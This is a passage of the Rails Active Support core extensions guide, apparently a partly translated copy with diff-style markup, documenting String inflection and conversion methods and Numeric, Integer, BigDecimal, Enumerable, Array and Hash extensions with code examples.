+"visual_effect".camelize(:lower) # => "visualEffect"
+
+
+
+

That may be handy to compute method names in a language that follows that convention, for example JavaScript.

As a rule of thumb you can think of camelize as the inverse of underscore, though there are cases where that does not hold: "SSLError".underscore.camelize gives back "SslError". To support cases such as this, Active Support allows you to specify acronyms in config/initializers/inflections.rb:

+
+ActiveSupport::Inflector.inflections do |inflect|
+  inflect.acronym 'SSL'
+end
+
+"SSLError".underscore.camelize # => "SSLError"
+
+
+
+

camelize is aliased to camelcase.

定义于 active_support/core_ext/string/inflections.rb.

5.10.4 underscore +

The method underscore goes the other way around, from camel case to paths:

+
+"Product".underscore   # => "product"
+"AdminUser".underscore # => "admin_user"
+
+
+
+

Also converts "::" back to "/":

+
+"Backoffice::Session".underscore # => "backoffice/session"
+
+
+
+

and understands strings that start with lowercase:

+
+"visualEffect".underscore # => "visual_effect"
+
+
+
+

underscore accepts no argument though.

Rails class and module autoloading uses underscore to infer the relative path without extension of a file that would define a given missing constant:

+
+# active_support/dependencies.rb
+def load_missing_constant(from_mod, const_name)
+  ...
+  qualified_name = qualified_name_for from_mod, const_name
+  path_suffix = qualified_name.underscore
+  ...
+end
+
+
+
+

As a rule of thumb you can think of underscore as the inverse of camelize, though there are cases where that does not hold. For example, "SSLError".underscore.camelize gives back "SslError".

定义于 active_support/core_ext/string/inflections.rb.

5.10.5 titleize +

The method titleize capitalizes the words in the receiver:

+
+"alice in wonderland".titleize # => "Alice In Wonderland"
+"fermat's enigma".titleize     # => "Fermat's Enigma"
+
+
+
+

titleize is aliased to titlecase.

定义于 active_support/core_ext/string/inflections.rb.

5.10.6 dasherize +

The method dasherize replaces the underscores in the receiver with dashes:

+
+"name".dasherize         # => "name"
+"contact_data".dasherize # => "contact-data"
+
+
+
+

The XML serializer of models uses this method to dasherize node names:

+
+# active_model/serializers/xml.rb
+def reformat_name(name)
+  name = name.camelize if camelize?
+  dasherize? ? name.dasherize : name
+end
+
+
+
+

定义于 active_support/core_ext/string/inflections.rb.

5.10.7 demodulize +

Given a string with a qualified constant name, demodulize returns the very constant name, that is, the rightmost part of it:

+
+"Product".demodulize                        # => "Product"
+"Backoffice::UsersController".demodulize    # => "UsersController"
+"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
+"::Inflections".demodulize                  # => "Inflections"
+"".demodulize                               # => ""
+
+
+
+
+

Active Record for example uses this method to compute the name of a counter cache column:

+
+# active_record/reflection.rb
+def counter_cache_column
+  if options[:counter_cache] == true
+    "#{active_record.name.demodulize.underscore.pluralize}_count"
+  elsif options[:counter_cache]
+    options[:counter_cache]
+  end
+end
+
+
+
+

定义于 active_support/core_ext/string/inflections.rb.

5.10.8 deconstantize +

Given a string with a qualified constant reference expression, deconstantize removes the rightmost segment, generally leaving the name of the constant's container:

+
+"Product".deconstantize                        # => ""
+"Backoffice::UsersController".deconstantize    # => "Backoffice"
+"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"
+
+
+
+

Active Support for example uses this method in Module#qualified_const_set:

+
+def qualified_const_set(path, value)
+  QualifiedConstUtils.raise_if_absolute(path)
+
+  const_name = path.demodulize
+  mod_name = path.deconstantize
+  mod = mod_name.empty? ? self : qualified_const_get(mod_name)
+  mod.const_set(const_name, value)
+end
+
+
+
+

定义于 active_support/core_ext/string/inflections.rb.

5.10.9 parameterize +

The method parameterize normalizes its receiver in a way that can be used in pretty URLs.

+
+"John Smith".parameterize # => "john-smith"
+"Kurt Gödel".parameterize # => "kurt-godel"
+
+
+
+

In fact, the result string is wrapped in an instance of ActiveSupport::Multibyte::Chars.

定义于 active_support/core_ext/string/inflections.rb.

5.10.10 tableize +

The method tableize is underscore followed by pluralize.

+
+"Person".tableize      # => "people"
+"Invoice".tableize     # => "invoices"
+"InvoiceLine".tableize # => "invoice_lines"
+
+
+
+

As a rule of thumb, tableize returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight tableize indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.

定义于 active_support/core_ext/string/inflections.rb.

5.10.11 classify +

The method classify is the inverse of tableize. It gives you the class name corresponding to a table name:

+
+"people".classify        # => "Person"
+"invoices".classify      # => "Invoice"
+"invoice_lines".classify # => "InvoiceLine"
+
+
+
+

The method understands qualified table names:

+
+"highrise_production.companies".classify # => "Company"
+
+
+
+

Note that classify returns a class name as a string. You can get the actual class object invoking constantize on it, explained next.

定义于 active_support/core_ext/string/inflections.rb.

5.10.12 constantize +

The method constantize resolves the constant reference expression in its receiver:

+
+"Fixnum".constantize # => Fixnum
+
+module M
+  X = 1
+end
+"M::X".constantize # => 1
+
+
+
+

If the string evaluates to no known constant, or its content is not even a valid constant name, constantize raises NameError.

Constant name resolution by constantize starts always at the top-level Object even if there is no leading "::".

+
+X = :in_Object
+module M
+  X = :in_M
+
+  X                 # => :in_M
+  "::X".constantize # => :in_Object
+  "X".constantize   # => :in_Object (!)
+end
+
+
+
+

So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.

Mailer test cases obtain the mailer being tested from the name of the test class using constantize:

+
+# action_mailer/test_case.rb
+def determine_default_mailer(name)
+  name.sub(/Test$/, '').constantize
+rescue NameError => e
+  raise NonInferrableMailerError.new(name)
+end
+
+
+
+

定义于 active_support/core_ext/string/inflections.rb.

5.10.13 humanize +

The method humanize tweaks an attribute name for display to end users.

Specifically performs these transformations:

+
    +
  • Applies human inflection rules to the argument.
  • +
  • Deletes leading underscores, if any.
  • +
  • Removes a "_id" suffix if present.
  • +
  • Replaces underscores with spaces, if any.
  • +
  • Downcases all words except acronyms.
  • +
  • Capitalizes the first word.
  • +
+

The capitalization of the first word can be turned off by setting the ++:capitalize+ option to false (default is true).

+
+"name".humanize                         # => "Name"
+"author_id".humanize                    # => "Author"
+"author_id".humanize(capitalize: false) # => "author"
+"comments_count".humanize               # => "Comments count"
+"_id".humanize                          # => "Id"
+
+
+
+

If "SSL" was defined to be an acronym:

+
+'ssl_error'.humanize # => "SSL error"
+
+
+
+

The helper method full_messages uses humanize as a fallback to include +attribute names:

+
+def full_messages
+  full_messages = []
+
+  each do |attribute, messages|
+    ...
+    attr_name = attribute.to_s.gsub('.', '_').humanize
+    attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
+    ...
+  end
+
+  full_messages
+end
+
+
+
+

定义于 active_support/core_ext/string/inflections.rb.

5.10.14 foreign_key +

The method foreign_key gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":

+
+"User".foreign_key           # => "user_id"
+"InvoiceLine".foreign_key    # => "invoice_line_id"
+"Admin::Session".foreign_key # => "session_id"
+
+
+
+

Pass a false argument if you do not want the underscore in "_id":

+
+"User".foreign_key(false) # => "userid"
+
+
+
+

Associations use this method to infer foreign keys, for example has_one and has_many do this:

+
+# active_record/associations.rb
+foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
+
+
+
+

定义于 active_support/core_ext/string/inflections.rb.

5.11 Conversions

5.11.1 to_date, to_time, to_datetime +

The methods to_date, to_time, and to_datetime are basically convenience wrappers around Date._parse:

+
+"2010-07-27".to_date              # => Tue, 27 Jul 2010
+"2010-07-27 23:37:00".to_time     # => Tue Jul 27 23:37:00 UTC 2010
+"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000
+
+
+
+

to_time receives an optional argument :utc or :local, to indicate which time zone you want the time in:

+
+"2010-07-27 23:42:00".to_time(:utc)   # => Tue Jul 27 23:42:00 UTC 2010
+"2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 +0200 2010
+
+
+
+

Default is :utc.

Please refer to the documentation of Date._parse for further details.

The three of them return nil for blank receivers.

定义于 active_support/core_ext/string/conversions.rb.

6 Extensions to Numeric +

6.1 Bytes

All numbers respond to these methods:

+
+bytes
+kilobytes
+megabytes
+gigabytes
+terabytes
+petabytes
+exabytes
+
+
+
+

They return the corresponding amount of bytes, using a conversion factor of 1024:

+
+2.kilobytes   # => 2048
+3.megabytes   # => 3145728
+3.5.gigabytes # => 3758096384
+-4.exabytes   # => -4611686018427387904
+
+
+
+

Singular forms are aliased so you are able to say:

+
+1.megabyte # => 1048576
+
+
+
+

定义于 active_support/core_ext/numeric/bytes.rb.

6.2 Time

Enables the use of time calculations and declarations, like 45.minutes + 2.hours + 4.years.

These methods use Time#advance for precise date calculations when using from_now, ago, etc. +as well as adding or subtracting their results from a Time object. For example:

+
+# equivalent to Time.current.advance(months: 1)
+1.month.from_now
+
+# equivalent to Time.current.advance(years: 2)
+2.years.from_now
+
+# equivalent to Time.current.advance(months: 4, years: 5)
+(4.months + 5.years).from_now
+
+
+
+

While these methods provide precise calculation when used as in the examples above, care +should be taken to note that this is not true if the result of months',years', etc is +converted before use:

+
+# equivalent to 30.days.to_i.from_now
+1.month.to_i.from_now
+
+# equivalent to 365.25.days.to_f.from_now
+1.year.to_f.from_now
+
+
+
+

In such cases, Ruby's core Date and +Time should be used for precision +date and time arithmetic.

定义于 active_support/core_ext/numeric/time.rb.

6.3 Formatting

Enables the formatting of numbers in a variety of ways.

Produce a string representation of a number as a telephone number:

+
+5551234.to_s(:phone)
+# => 555-1234
+1235551234.to_s(:phone)
+# => 123-555-1234
+1235551234.to_s(:phone, area_code: true)
+# => (123) 555-1234
+1235551234.to_s(:phone, delimiter: " ")
+# => 123 555 1234
+1235551234.to_s(:phone, area_code: true, extension: 555)
+# => (123) 555-1234 x 555
+1235551234.to_s(:phone, country_code: 1)
+# => +1-123-555-1234
+
+
+
+

Produce a string representation of a number as currency:

+
+1234567890.50.to_s(:currency)                 # => $1,234,567,890.50
+1234567890.506.to_s(:currency)                # => $1,234,567,890.51
+1234567890.506.to_s(:currency, precision: 3)  # => $1,234,567,890.506
+
+
+
+

Produce a string representation of a number as a percentage:

+
+100.to_s(:percentage)
+# => 100.000%
+100.to_s(:percentage, precision: 0)
+# => 100%
+1000.to_s(:percentage, delimiter: '.', separator: ',')
+# => 1.000,000%
+302.24398923423.to_s(:percentage, precision: 5)
+# => 302.24399%
+
+
+
+

Produce a string representation of a number in delimited form:

+
+12345678.to_s(:delimited)                     # => 12,345,678
+12345678.05.to_s(:delimited)                  # => 12,345,678.05
+12345678.to_s(:delimited, delimiter: ".")     # => 12.345.678
+12345678.to_s(:delimited, delimiter: ",")     # => 12,345,678
+12345678.05.to_s(:delimited, separator: " ")  # => 12,345,678 05
+
+
+
+

Produce a string representation of a number rounded to a precision:

+
+111.2345.to_s(:rounded)                     # => 111.235
+111.2345.to_s(:rounded, precision: 2)       # => 111.23
+13.to_s(:rounded, precision: 5)             # => 13.00000
+389.32314.to_s(:rounded, precision: 0)      # => 389
+111.2345.to_s(:rounded, significant: true)  # => 111
+
+
+
+

Produce a string representation of a number as a human-readable number of bytes:

+
+123.to_s(:human_size)            # => 123 Bytes
+1234.to_s(:human_size)           # => 1.21 KB
+12345.to_s(:human_size)          # => 12.1 KB
+1234567.to_s(:human_size)        # => 1.18 MB
+1234567890.to_s(:human_size)     # => 1.15 GB
+1234567890123.to_s(:human_size)  # => 1.12 TB
+
+
+
+

Produce a string representation of a number in human-readable words:

+
+123.to_s(:human)               # => "123"
+1234.to_s(:human)              # => "1.23 Thousand"
+12345.to_s(:human)             # => "12.3 Thousand"
+1234567.to_s(:human)           # => "1.23 Million"
+1234567890.to_s(:human)        # => "1.23 Billion"
+1234567890123.to_s(:human)     # => "1.23 Trillion"
+1234567890123456.to_s(:human)  # => "1.23 Quadrillion"
+
+
+
+

定义于 active_support/core_ext/numeric/conversions.rb.

7 Extensions to Integer +

7.1 multiple_of? +

The method multiple_of? tests whether an integer is multiple of the argument:

+
+2.multiple_of?(1) # => true
+1.multiple_of?(2) # => false
+
+
+
+

定义于 active_support/core_ext/integer/multiple.rb.

7.2 ordinal +

The method ordinal returns the ordinal suffix string corresponding to the receiver integer:

+
+1.ordinal    # => "st"
+2.ordinal    # => "nd"
+53.ordinal   # => "rd"
+2009.ordinal # => "th"
+-21.ordinal  # => "st"
+-134.ordinal # => "th"
+
+
+
+

定义于 active_support/core_ext/integer/inflections.rb.

7.3 ordinalize +

The method ordinalize returns the ordinal string corresponding to the receiver integer. In comparison, note that the ordinal method returns only the suffix string.

+
+1.ordinalize    # => "1st"
+2.ordinalize    # => "2nd"
+53.ordinalize   # => "53rd"
+2009.ordinalize # => "2009th"
+-21.ordinalize  # => "-21st"
+-134.ordinalize # => "-134th"
+
+
+
+

定义于 active_support/core_ext/integer/inflections.rb.

8 Extensions to BigDecimal +

8.1 to_s +

The method to_s is aliased to to_formatted_s. This provides a convenient way to display a BigDecimal value in floating-point notation:

+
+BigDecimal.new(5.00, 6).to_s  # => "5.0"
+
+
+
+

8.2 to_formatted_s +

Te method to_formatted_s provides a default specifier of "F". This means that a simple call to to_formatted_s or to_s will result in floating point representation instead of engineering notation:

+
+BigDecimal.new(5.00, 6).to_formatted_s  # => "5.0"
+
+
+
+

and that symbol specifiers are also supported:

+
+BigDecimal.new(5.00, 6).to_formatted_s(:db)  # => "5.0"
+
+
+
+

Engineering notation is still supported:

+
+BigDecimal.new(5.00, 6).to_formatted_s("e")  # => "0.5E1"
+
+
+
+

9 Extensions to Enumerable +

9.1 sum +

The method sum adds the elements of an enumerable:

+
+[1, 2, 3].sum # => 6
+(1..100).sum  # => 5050
+
+
+
+

Addition only assumes the elements respond to +:

+
+[[1, 2], [2, 3], [3, 4]].sum    # => [1, 2, 2, 3, 3, 4]
+%w(foo bar baz).sum             # => "foobarbaz"
+{a: 1, b: 2, c: 3}.sum # => [:b, 2, :c, 3, :a, 1]
+
+
+
+

The sum of an empty collection is zero by default, but this is customizable:

+
+[].sum    # => 0
+[].sum(1) # => 1
+
+
+
+

If a block is given, sum becomes an iterator that yields the elements of the collection and sums the returned values:

+
+(1..5).sum {|n| n * 2 } # => 30
+[2, 4, 6, 8, 10].sum    # => 30
+
+
+
+

The sum of an empty receiver can be customized in this form as well:

+
+[].sum(1) {|n| n**3} # => 1
+
+
+
+

定义于 active_support/core_ext/enumerable.rb.

9.2 index_by +

The method index_by generates a hash with the elements of an enumerable indexed by some key.

It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:

+
+invoices.index_by(&:number)
+# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}
+
+
+
+

Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.

定义于 active_support/core_ext/enumerable.rb.

9.3 many? +

The method many? is shorthand for collection.size > 1:

+
+<% if pages.many? %>
+  <%= pagination_links %>
+<% end %>
+
+
+
+

If an optional block is given, many? only takes into account those elements that return true:

+
+@see_more = videos.many? {|video| video.category == params[:category]}
+
+
+
+

定义于 active_support/core_ext/enumerable.rb.

9.4 exclude? +

The predicate exclude? tests whether a given object does not belong to the collection. It is the negation of the built-in include?:

+
+to_visit << node if visited.exclude?(node)
+
+
+
+

定义于 active_support/core_ext/enumerable.rb.

10 Extensions to Array +

10.1 Accessing

Active Support augments the API of arrays to ease certain ways of accessing them. For example, to returns the subarray of elements up to the one at the passed index:

+
+%w(a b c d).to(2) # => %w(a b c)
+[].to(7)          # => []
+
+
+
+

Similarly, from returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.

+
+%w(a b c d).from(2)  # => %w(c d)
+%w(a b c d).from(10) # => []
+[].from(0)           # => []
+
+
+
+

The methods second, third, fourth, and fifth return the corresponding element (first is built-in). Thanks to social wisdom and positive constructiveness all around, forty_two is also available.

+
+%w(a b c d).third # => c
+%w(a b c d).fifth # => nil
+
+
+
+

定义于 active_support/core_ext/array/access.rb.

10.2 Adding Elements

10.2.1 prepend +

This method is an alias of Array#unshift.

+
+%w(a b c d).prepend('e')  # => %w(e a b c d)
+[].prepend(10)            # => [10]
+
+
+
+

定义于 active_support/core_ext/array/prepend_and_append.rb.

10.2.2 append +

This method is an alias of Array#<<.

+
+%w(a b c d).append('e')  # => %w(a b c d e)
+[].append([1,2])         # => [[1,2]]
+
+
+
+

定义于 active_support/core_ext/array/prepend_and_append.rb.

10.3 Options Extraction

When the last argument in a method call is a hash, except perhaps for a &block argument, Ruby allows you to omit the brackets:

+
+User.exists?(email: params[:email])
+
+
+
+

That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.

If a method expects a variable number of arguments and uses * in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.

In those cases, you may give an options hash a distinguished treatment with extract_options!. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.

Let's see for example the definition of the caches_action controller macro:

+
+def caches_action(*actions)
+  return unless cache_configured?
+  options = actions.extract_options!
+  ...
+end
+
+
+
+

This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to extract_options! you obtain the options hash and remove it from actions in a simple and explicit way.

定义于 active_support/core_ext/array/extract_options.rb.

10.4 Conversions

10.4.1 to_sentence +

The method to_sentence turns an array into a string containing a sentence that enumerates its items:

+
+%w().to_sentence                # => ""
+%w(Earth).to_sentence           # => "Earth"
+%w(Earth Wind).to_sentence      # => "Earth and Wind"
+%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"
+
+
+
+

This method accepts three options:

+
    +
  • +:two_words_connector: What is used for arrays of length 2. Default is " and ".
  • +
  • +:words_connector: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".
  • +
  • +:last_word_connector: What is used to join the last items of an array with 3 or more elements. Default is ", and ".
  • +
+

The defaults for these options can be localized, their keys are:

+ + + + + + + + + + + + + + + + + + + + + +
OptionI18n key
:two_words_connectorsupport.array.two_words_connector
:words_connectorsupport.array.words_connector
:last_word_connectorsupport.array.last_word_connector
+

定义于 active_support/core_ext/array/conversions.rb.

10.4.2 to_formatted_s +

The method to_formatted_s acts like to_s by default.

If the array contains items that respond to id, however, the symbol +:db may be passed as argument. That's typically used with +collections of Active Record objects. Returned strings are:

+
+[].to_formatted_s(:db)            # => "null"
+[user].to_formatted_s(:db)        # => "8456"
+invoice.lines.to_formatted_s(:db) # => "23,567,556,12"
+
+
+
+

Integers in the example above are supposed to come from the respective calls to id.

定义于 active_support/core_ext/array/conversions.rb.

10.4.3 to_xml +

The method to_xml returns a string containing an XML representation of its receiver:

+
+Contributor.limit(2).order(:rank).to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors type="array">
+#   <contributor>
+#     <id type="integer">4356</id>
+#     <name>Jeremy Kemper</name>
+#     <rank type="integer">1</rank>
+#     <url-id>jeremy-kemper</url-id>
+#   </contributor>
+#   <contributor>
+#     <id type="integer">4404</id>
+#     <name>David Heinemeier Hansson</name>
+#     <rank type="integer">2</rank>
+#     <url-id>david-heinemeier-hansson</url-id>
+#   </contributor>
+# </contributors>
+
+
+
+

To do so it sends to_xml to every item in turn, and collects the results under a root node. All items must respond to to_xml, an exception is raised otherwise.

By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with is_a?) and they are not hashes. In the example above that's "contributors".

If there's any element that does not belong to the type of the first one the root node becomes "objects":

+
+[Contributor.first, Commit.first].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+#   <object>
+#     <id type="integer">4583</id>
+#     <name>Aaron Batalion</name>
+#     <rank type="integer">53</rank>
+#     <url-id>aaron-batalion</url-id>
+#   </object>
+#   <object>
+#     <author>Joshua Peek</author>
+#     <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
+#     <branch>origin/master</branch>
+#     <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
+#     <committer>Joshua Peek</committer>
+#     <git-show nil="true"></git-show>
+#     <id type="integer">190316</id>
+#     <imported-from-svn type="boolean">false</imported-from-svn>
+#     <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
+#     <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
+#   </object>
+# </objects>
+
+
+
+

If the receiver is an array of hashes the root element is by default also "objects":

+
+[{a: 1, b: 2}, {c: 3}].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+#   <object>
+#     <b type="integer">2</b>
+#     <a type="integer">1</a>
+#   </object>
+#   <object>
+#     <c type="integer">3</c>
+#   </object>
+# </objects>
+
+
+
+

If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the :root option to ensure a consistent root element.

The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option :children allows you to set these node names.

The default XML builder is a fresh instance of Builder::XmlMarkup. You can configure your own builder via the :builder option. The method also accepts options like :dasherize and friends, they are forwarded to the builder:

+
+Contributor.limit(2).order(:rank).to_xml(skip_types: true)
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors>
+#   <contributor>
+#     <id>4356</id>
+#     <name>Jeremy Kemper</name>
+#     <rank>1</rank>
+#     <url-id>jeremy-kemper</url-id>
+#   </contributor>
+#   <contributor>
+#     <id>4404</id>
+#     <name>David Heinemeier Hansson</name>
+#     <rank>2</rank>
+#     <url-id>david-heinemeier-hansson</url-id>
+#   </contributor>
+# </contributors>
+
+
+
+

定义于 active_support/core_ext/array/conversions.rb.

10.5 Wrapping

The method Array.wrap wraps its argument in an array unless it is already an array (or array-like).

Specifically:

+
    +
  • If the argument is nil an empty list is returned.
  • +
  • Otherwise, if the argument responds to to_ary it is invoked, and if the value of to_ary is not nil, it is returned.
  • +
  • Otherwise, an array with the argument as its single element is returned.
  • +
+
+
+Array.wrap(nil)       # => []
+Array.wrap([1, 2, 3]) # => [1, 2, 3]
+Array.wrap(0)         # => [0]
+
+
+
+

This method is similar in purpose to Kernel#Array, but there are some differences:

+
    +
  • If the argument responds to to_ary the method is invoked. Kernel#Array moves on to try to_a if the returned value is nil, but Array.wrap returns nil right away.
  • +
  • If the returned value from to_ary is neither nil nor an Array object, Kernel#Array raises an exception, while Array.wrap does not, it just returns the value.
  • +
  • It does not call to_a on the argument, though special-cases nil to return an empty array.
  • +
+

The last point is particularly worth comparing for some enumerables:

+
+Array.wrap(foo: :bar) # => [{:foo=>:bar}]
+Array(foo: :bar)      # => [[:foo, :bar]]
+
+
+
+

There's also a related idiom that uses the splat operator:

+
+[*object]
+
+
+
+

which in Ruby 1.8 returns [nil] for nil, and calls to Array(object) otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)

Thus, in this case the behavior is different for nil, and the differences with Kernel#Array explained above apply to the rest of objects.

定义于 active_support/core_ext/array/wrap.rb.

10.6 Duplicating

The method Array.deep_dup duplicates itself and all objects inside +recursively with Active Support method Object#deep_dup. It works like Array#map with sending deep_dup method to each object inside.

+
+array = [1, [2, 3]]
+dup = array.deep_dup
+dup[1][2] = 4
+array[1][2] == nil   # => true
+
+
+
+

定义于 active_support/core_ext/object/deep_dup.rb.

10.7 Grouping

10.7.1 in_groups_of(number, fill_with = nil) +

The method in_groups_of splits an array into consecutive groups of a certain size. It returns an array with the groups:

+
+[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
+
+
+
+

or yields them in turn if a block is passed:

+
+<% sample.in_groups_of(3) do |a, b, c| %>
+  <tr>
+    <td><%= a %></td>
+    <td><%= b %></td>
+    <td><%= c %></td>
+  </tr>
+<% end %>
+
+
+
+

The first example shows in_groups_of fills the last group with as many nil elements as needed to have the requested size. You can change this padding value using the second optional argument:

+
+[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
+
+
+
+

And you can tell the method not to fill the last group passing false:

+
+[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
+
+
+
+

As a consequence false can't be a used as a padding value.

定义于 active_support/core_ext/array/grouping.rb.

10.7.2 in_groups(number, fill_with = nil) +

The method in_groups splits an array into a certain number of groups. The method returns an array with the groups:

+
+%w(1 2 3 4 5 6 7).in_groups(3)
+# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
+
+
+
+

or yields them in turn if a block is passed:

+
+%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
+["1", "2", "3"]
+["4", "5", nil]
+["6", "7", nil]
+
+
+
+

The examples above show that in_groups fills some groups with a trailing nil element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.

You can change this padding value using the second optional argument:

+
+%w(1 2 3 4 5 6 7).in_groups(3, "0")
+# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
+
+
+
+

And you can tell the method not to fill the smaller groups passing false:

+
+%w(1 2 3 4 5 6 7).in_groups(3, false)
+# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
+
+
+
+

As a consequence false can't be a used as a padding value.

定义于 active_support/core_ext/array/grouping.rb.

10.7.3 split(value = nil) +

The method split divides an array by a separator and returns the resulting chunks.

If a block is passed the separators are those elements of the array for which the block returns true:

+
+(-5..5).to_a.split { |i| i.multiple_of?(4) }
+# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
+
+
+
+

Otherwise, the value received as argument, which defaults to nil, is the separator:

+
+[0, 1, -5, 1, 1, "foo", "bar"].split(1)
+# => [[0], [-5], [], ["foo", "bar"]]
+
+
+
+

Observe in the previous example that consecutive separators result in empty arrays.

定义于 active_support/core_ext/array/grouping.rb.

11 Extensions to Hash +

11.1 Conversions

11.1.1 to_xml +

The method to_xml returns a string containing an XML representation of its receiver:

+
+{"foo" => 1, "bar" => 2}.to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <hash>
+#   <foo type="integer">1</foo>
+#   <bar type="integer">2</bar>
+# </hash>
+
+
+
+

To do so, the method loops over the pairs and builds nodes that depend on the values. Given a pair key, value:

+
    +
  • If value is a hash there's a recursive call with key as :root.

  • +
  • If value is an array there's a recursive call with key as :root, and key singularized as :children.

  • +
  • If value is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the options hash as first argument with key as :root, and key singularized as second argument. Its return value becomes a new node.

  • +
  • If value responds to to_xml the method is invoked with key as :root.

  • +
  • Otherwise, a node with key as tag is created with a string representation of value as text node. If value is nil an attribute "nil" set to "true" is added. Unless the option :skip_types exists and is true, an attribute "type" is added as well according to the following mapping:

  • +
+
+
+XML_TYPE_NAMES = {
+  "Symbol"     => "symbol",
+  "Fixnum"     => "integer",
+  "Bignum"     => "integer",
+  "BigDecimal" => "decimal",
+  "Float"      => "float",
+  "TrueClass"  => "boolean",
+  "FalseClass" => "boolean",
+  "Date"       => "date",
+  "DateTime"   => "datetime",
+  "Time"       => "datetime"
+}
+
+
+
+

By default the root node is "hash", but that's configurable via the :root option.

The default XML builder is a fresh instance of Builder::XmlMarkup. You can configure your own builder with the :builder option. The method also accepts options like :dasherize and friends, they are forwarded to the builder.

定义于 active_support/core_ext/hash/conversions.rb.

11.2 Merging

Ruby has a built-in method Hash#merge that merges two hashes:

+
+{a: 1, b: 1}.merge(a: 0, c: 2)
+# => {:a=>0, :b=>1, :c=>2}
+
+
+
+

Active Support defines a few more ways of merging hashes that may be convenient.

11.2.1 reverse_merge and reverse_merge! +

In case of collision the key in the hash of the argument wins in merge. You can support option hashes with default values in a compact way with this idiom:

+
+options = {length: 30, omission: "..."}.merge(options)
+
+
+
+

Active Support defines reverse_merge in case you prefer this alternative notation:

+
+options = options.reverse_merge(length: 30, omission: "...")
+
+
+
+

And a bang version reverse_merge! that performs the merge in place:

+
+options.reverse_merge!(length: 30, omission: "...")
+
+
+
+

Take into account that reverse_merge! may change the hash in the caller, which may or may not be a good idea.

定义于 active_support/core_ext/hash/reverse_merge.rb.

11.2.2 reverse_update +

The method reverse_update is an alias for reverse_merge!, explained above.

Note that reverse_update has no bang.

定义于 active_support/core_ext/hash/reverse_merge.rb.

11.2.3 deep_merge and deep_merge! +

As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.

Active Support defines Hash#deep_merge. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their merge becomes the value in the resulting hash:

+
+{a: {b: 1}}.deep_merge(a: {c: 2})
+# => {:a=>{:b=>1, :c=>2}}
+
+
+
+

The method deep_merge! performs a deep merge in place.

定义于 active_support/core_ext/hash/deep_merge.rb.

11.3 Deep duplicating

The method Hash.deep_dup duplicates itself and all keys and values +inside recursively with Active Support method Object#deep_dup. It works like Enumerator#each_with_object with sending deep_dup method to each pair inside.

+
+hash = { a: 1, b: { c: 2, d: [3, 4] } }
+
+dup = hash.deep_dup
+dup[:b][:e] = 5
+dup[:b][:d] << 5
+
+hash[:b][:e] == nil      # => true
+hash[:b][:d] == [3, 4]   # => true
+
+
+
+

定义于 active_support/core_ext/object/deep_dup.rb.

11.4 Working with Keys

11.4.1 except and except! +

The method except returns a hash with the keys in the argument list removed, if present:

+
+{a: 1, b: 2}.except(:a) # => {:b=>2}
+
+
+
+

If the receiver responds to convert_key, the method is called on each of the arguments. This allows except to play nice with hashes with indifferent access for instance:

+
+{a: 1}.with_indifferent_access.except(:a)  # => {}
+{a: 1}.with_indifferent_access.except("a") # => {}
+
+
+
+

There's also the bang variant except! that removes keys in the very receiver.

定义于 active_support/core_ext/hash/except.rb.

11.4.2 transform_keys and transform_keys! +

The method transform_keys accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver:

+
+{nil => nil, 1 => 1, a: :a}.transform_keys { |key| key.to_s.upcase }
+# => {"" => nil, "A" => :a, "1" => 1}
+
+
+
+

In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:

+
+{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase }
+# The result could either be
+# => {"A"=>2}
+# or
+# => {"A"=>1}
+
+
+
+

